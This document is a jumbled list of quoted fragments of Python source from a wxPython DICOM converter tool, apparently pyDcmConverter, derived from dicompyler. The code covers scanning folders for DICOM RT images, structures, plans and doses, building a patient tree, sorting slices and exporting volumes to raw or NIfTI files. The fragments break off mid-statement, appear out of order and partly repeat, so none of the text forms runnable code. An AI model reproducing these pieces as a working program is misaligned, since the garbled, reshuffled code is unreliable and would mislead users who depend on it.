"pyDcmConverter import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog that will",
"self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def",
"# used for image series if 'id' in item: if (item['id'] == image['series']):",
"'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate'",
"Sort in LPI order! Modified by CL.Wang # Sort image numbers in descending",
"+ str(rxdose) + ' cGy' if 'structures' in patient: for structureid, structure in",
"foundplan = False if (planid == dose['rtplan']): foundplan = True rxdose = None",
"self.EnableItemSelection(patient, dose, filearray, rxdose) # If no plans were found, add the dose",
"flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return",
"evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt):",
"an error message else: wx.CallAfter(progressFunc, 0, 0, 'Select a valid location.') dlg =",
"n in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile =",
"['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2,",
"if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self): \"\"\"Return the patient",
"Now add the specific item to the tree for key, patient in self.patients.items():",
"conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata",
"elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break # If no referenced rtss, but ref'd",
"else: unsortednums.append(image.data_element(sort).value) # Sort in LPI order! Modified by CL.Wang # Sort image",
"os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export",
"self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5)",
"self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose controls except on GTK due to",
"os.makedirs(self.output_dir) all_export_threads = [] for export in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no",
"an rxdose if not (self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose =",
"{} with open('.dcmconverter.conf', 'w') as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num']",
"if 'doses' in patient: for doseid, dose in patient['doses'].items(): foundplan = False if",
"sorted order for s, slice in enumerate(sortednums): for i, image in enumerate(images): if",
"image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']]",
"+= \" - Dose: \" + str(int(b['dose'])) + \" cGy\" rxdose = int(b['dose'])",
"each RT Dose elif dp.ds.Modality in ['RTDOSE']: if not 'doses' in patients[h]: patients[h]['doses']",
"def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy()",
"control.\"\"\" # Add the respective images to the filearray if they exist if",
"except: logger.info('Adjusted parameters befor the tree generated.') def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition()",
"(c) 2009-2017 <NAME> # Copyright (c) 2009 <NAME> # This file is part",
"import * import numpy as np from dicompylercore import dicomparser from pyDcmConverter import",
"== 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array =",
"structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create each RT",
"\"\"\"Add the patient data to the tree control.\"\"\" # Now add the specific",
"Instance Number if not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise",
"dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1]) orientation =",
"int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = ''",
"'r') as f: conf = json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata']",
"')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1) self.tcPatients.SortChildren(self.root) self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add",
"found' baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading",
"message and select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item has",
"== 'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image) #",
"Call the progress function to update the gui wx.CallAfter(progressFunc, n, len(files), 'Searching for",
"patient data from the DICOM importer dialog.\"\"\" return self.patient def OnCancel(self, evt): \"\"\"Stop",
"dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']]",
"Dose not found' baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel(",
"in patient: sortedimages = [] unsortednums = [] sortednums = [] images =",
"'RT Dose without Dose Grid (DVH only)' else: name = 'RT Dose without",
"open(header_name, 'r') as f: origin_header_lines = f.read().splitlines() with open(header_name, 'w') as f: for",
"= self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose not found' baddose",
"dictionary self.patients = {} # Search subfolders by default self.import_search_subfolders = True #",
"self.patients: self.patients[h] = {} self.patients[h]['demographics'] = patient name = str(patient['name']) + ' ('",
"threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search subfolders for",
"patient['series'].items(): foundseries = False if (series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT",
"len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array =",
"self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent = self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose",
"rxdose = 0 parent = self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose = data['rxdose']",
"DICOM Import process interface elements.\"\"\" if not length: percentDone = 0 else: percentDone",
"Rx dose controls except on GTK due to control placement oddities if not",
"that convert DICOM data via a wxPython GUI dialog.\"\"\" # Copyright (c) 2018-2020",
"not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads",
"Dose elif dp.ds.Modality in ['RTDOSE']: if not 'doses' in patients[h]: patients[h]['doses'] = {}",
"for planid, plan in patient['plans'].items(): if (planid == item['rtplan']): if 'rtss' in plan:",
"'plans' in patient: for planid, plan in patient['plans'].items(): if 'rtplan' in item: if",
"np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel = False break",
"XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name",
"os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0]) reso",
"in patient['plans'].items(): foundplan = False if (planid == dose['rtplan']): foundplan = True rxdose",
"plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe']",
"name += b['name'] if len(b['description']): name += \" - \" + b['description'] name",
"self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym",
"elif dp.ds.Modality in ['RTDOSE']: if not 'doses' in patients[h]: patients[h]['doses'] = {} dose",
"Create a hash for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient",
"path is valid if os.path.isdir(path): files = [] for root, dirs, filenames in",
"{} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs()",
"for planid, plan in patient['plans'].items(): foundstructure = False planname = ' (' +",
"# If there is an image series, add a fake rtss to it",
"if (structureid == item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break #",
"function to update the gui wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...') patients =",
"True def OnSpinOffset(self, evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked()",
"control for use.\"\"\" iSize = (16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'),",
"(dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang",
"iSize = (16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"dialog.Destroy() def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal()",
"= self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata:",
"directory search thread whether to terminate or not.\"\"\" return self.terminate def DirectorySearchThread(self, parent,",
"True super().OnCancel(evt) def main(): app = DcmConverterApp(0) app.MainLoop() if __name__ == '__main__': main()",
"as f: origin_header_lines = f.read().splitlines() with open(header_name, 'w') as f: for field in",
"= 0 else: percentDone = int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message)",
"the selected patient from the DICOM importer dialog.\"\"\" msgs = ['Scanning patient. Please",
"without Dose Grid or DVH' foundstructure = False if 'structures' in patient: for",
"RT Doses if 'doses' in patient: for doseid, dose in patient['doses'].items(): foundplan =",
"badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan",
"in patients[h]: patients[h]['structures'] = {} structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] =",
"patient['studies'].items(): if (studyid == series['study']): modality = series['modality'].partition(' Image Storage')[0] name = 'Series",
"# Add the respective rtplan files to the filearray if they exist if",
"destroying the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1",
"evt.GetPath() def OnInputName(self, evt): self.output_name = evt.GetString() def AlertDialog(self, msg): dialog = wx.MessageDialog(self,",
"patients[h]['structures'] = {} structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series']",
"seriesid, series in patient['series'].items(): foundseries = False if (seriesid == structure['series']): structure['treeid'] =",
"= dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber()",
"\" cGy\" rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray = [dose['filename']]",
"and minslice_check(child) select(child, flag) else: select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d",
"= sorted(unsortednums, reverse=True) # Otherwise sort image numbers in ascending order else: sortednums",
"dose = {} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh']",
"(dp.GetSOPClassUID() == 'rtdose')): if not 'images' in patient: patient['images'] = [] patient['images'].append(dp.ds) elif",
"elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose'] =",
"'id' in item: if (item['id'] == image['series']): appendImage = True # used for",
"if not length: percentDone = 0 else: percentDone = int(100 * (num+1) /",
"patient if not 'studies' in patients[h]: patients[h]['studies'] = {} patients[h]['series'] = {} wx.CallAfter(foundFunc,",
"dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create each RT Dose elif",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG))",
"in ['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds elif",
"dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp):",
"not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose",
"parent = self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose = data['rxdose'] else: parentdata =",
"dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format",
"= self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan nor RT Dose",
"= dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get",
"reso, mori_fname, True) with open(header_name, 'r') as f: origin_header_lines = f.read().splitlines() with open(header_name,",
"(self.import_search_subfolders == False): break for n in range(len(files)): # terminate the thread if",
"to update the gui wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...') patients = {}",
"str(rxdose) + ' cGy' if 'structures' in patient: for structureid, structure in patient['structures'].items():",
"search thread whether to terminate or not.\"\"\" return self.terminate def DirectorySearchThread(self, parent, path,",
"* slope + intercept + self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating",
"1, progressStr) wx.CallAfter(resultFunc, patients) # if the path is not valid, display an",
"study if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient,",
"filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break # If no referenced rtss,",
"\"\"\"Return the patient data from the DICOM importer dialog.\"\"\" return self.patient def OnCancel(self,",
"= XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind",
"{} self.patients[h]['demographics'] = patient name = str(patient['name']) + ' (' + patient['id'] +",
"patient: for planid, plan in patient['plans'].items(): foundstructure = False planname = ' ('",
"for i, img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2])",
"in patient: for planid, plan in patient['plans'].items(): foundstructure = False planname = '",
"dj = float(dp.ds.PixelSpacing[1]) orientation = dp.ds.ImageOrientationPatient dk = float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di,",
"return if not self.output_dir: self.AlertDialog('Please enter valid output dir!') return if not self.output_name:",
"= 0 parent = self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose = data['rxdose'] else:",
"Dose files were found else: name = 'RT Plan not found' badplan =",
"series['treeid'], \"RT Structure Set not found\", 7) foundseries = True # If no",
"= {} image = {} image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] =",
"order! Modified by CL.Wang # Sort image numbers in descending order for head",
"the filearray if they exist if 'structures' in patient: for structureid, structure in",
"= conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num)",
"evt): \"\"\"Determine whether to search subfolders for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate",
"every slice ipp0 = np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1),",
"dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality in ['RTDOSE']): patient['rtdose']",
"the dialog.\"\"\" self.terminate = True super().OnCancel(evt) def main(): app = DcmConverterApp(0) app.MainLoop() if",
"\\ not (dp.GetSOPClassUID() == 'rtdose')): if not 'images' in patient: patient['images'] = []",
"item has changed.\"\"\" item = evt.GetItem() # Disable the rx dose message and",
"(message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree control for",
"plan: if (structureid == plan['rtss']): filearray.append(structure['filename']) # Add the respective rtplan files to",
"evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnSpinSliceNum(self, evt):",
"dicompylercore import dicomparser from pyDcmConverter import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to show",
"def OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected by the user.\"\"\" self.terminate = True",
"+ modality + ', ' #numimages = str(series['numimages']) + ' image)' if (series['numimages']",
"progress function to update the gui wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...') if",
"self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False)",
"sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '')",
"\\r'.format(field)) wx.CallAfter(progressFunc, 97, 100, 'Export RAW image completed') if self.export_nii_format: import nibabel as",
"parentdata['rxdose'] # Show the rxdose text box if no rxdose was found #",
"to a list to be sorted for i, image in enumerate(images): if (sort",
"self.patients[h]['demographics'] = patient name = str(patient['name']) + ' (' + patient['id'] + ')'",
"parentdata = self.tcPatients.GetItemData(parent) if not (parentdata == None): if 'rxdose' in parentdata: rxdose",
"= str(os.path.join(self.path, filearray[n])) dp = dicomparser.DicomParser(dcmfile) if (n == 0): patient = {}",
"# Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r') as f:",
"directory containing DICOM RT files...\") if dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path)",
"Set: ' + structure['label'] for seriesid, series in patient['series'].items(): foundseries = False if",
"'images') #name = 'Series: ' + series['description'] + ' (' + modality +",
"if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'plans' in patient:",
"value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the data",
"'lblRxDoseUnits') # Bind interface events to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX,",
"> 1): progressStr = 'Found ' + str(len(patients)) + ' patients. Reading DICOM",
"'Select a valid location.') dlg = wx.MessageDialog( parent, \"The DICOM import location does",
"np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif",
"if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\", 8) dose['treeid'] =",
"= self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self, patient): \"\"\"Add a new patient to",
"logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray = [], rxdose =",
"patient_data is None: return # Existence check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat')",
"if (planid == item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'],",
"= os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for",
"dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\",
"the patient data to the tree control.\"\"\" # Now add the specific item",
"as some series # use the same patient position for every slice ipp0",
"def OnRescan(self, evt): self.OnDirectorySearch() def OnPause(self, evt): self.terminate = True def OnSpinOffset(self, evt):",
"self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format']",
"= conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num",
"= ['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for",
"since some vendors use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'): stinfo =",
"data of the selected patient from the DICOM importer dialog.\"\"\" msgs = ['Scanning",
"json.dump(conf, f, indent=2, sort_keys=True) # Block until the thread is done before destroying",
"= int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset = int(XRCCTRL(self, 'spin_offset').GetValue()) self.export_mori_format = XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format =",
"= False if (series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set",
"seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName']",
"data via a wxPython GUI dialog.\"\"\" # Copyright (c) 2018-2020 <NAME> # Copyright",
"= False if (structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure =",
"write_mori(image_array, reso, mori_fname, True) with open(header_name, 'r') as f: origin_header_lines = f.read().splitlines() with",
"== item['rtplan']): if 'rtss' in plan: if (structureid == plan['rtss']): filearray.append(structure['filename']) # Add",
"# Save the images back to the patient dictionary logger.debug('Slices num: %d', len(sortedimages))",
"'Found 0 patients.' elif (len(patients) == 1): progressStr = 'Found 1 patient. Reading",
"series are parallel # by testing for differences in ImageOrientationPatient parallel = True",
"conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format)",
"not (dp.GetSOPClassUID() == 'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added by",
"field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field:",
"0, 1, progressStr) wx.CallAfter(resultFunc, patients) # if the path is not valid, display",
"self.output_name = evt.GetString() def AlertDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal()",
"self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients tree control self.root = self.InitTree() #",
"def OnSpinSliceNum(self, evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the",
"\"\"\"Determine whether to search subfolders for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate =",
"\")\" if \"dose\" in b: name += \" - Dose: \" + str(int(b['dose']))",
"= '' self.output_name = '' # Set the dialog font and bold the",
"title = self.tcPatients.GetItemText(child) flag = 'vol' in title.lower() and minslice_check(child) select(child, flag) else:",
"guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport')",
"os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export !=",
"license.txt included with this distribution, also # available at https://github.com/bastula/dicompyler/ # # It's",
"wx.xrc import * import numpy as np from dicompylercore import dicomparser from pyDcmConverter",
"slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image = pixel_array * slope +",
"else: self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue()) self.offset",
"add the rtss to the study if not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'],",
"100, 'Export RAW image completed') if self.export_nii_format: import nibabel as nib logger.info('Exporting image",
"self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders",
"Show the dialog and return the result ret = dlgDicomImporter.ShowModal() # Save configure",
"Study but don't create one for RT Dose # since some vendors use",
"name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, []) # Search",
"in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create each Series of images if (('ImageOrientationPatient'",
"wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"add the rtss to the study if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name,",
"'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path",
"image!') return if dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated",
"the progress function to update the gui wx.CallAfter(progressFunc, 0, 0, 'Searching for patients...')",
"= evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnSpinSliceNum(self,",
"check rtplan->rtss if 'rtplan' in item: if 'plans' in patient: for planid, plan",
"parallel = False break # Also test ImagePositionPatient, as some series # use",
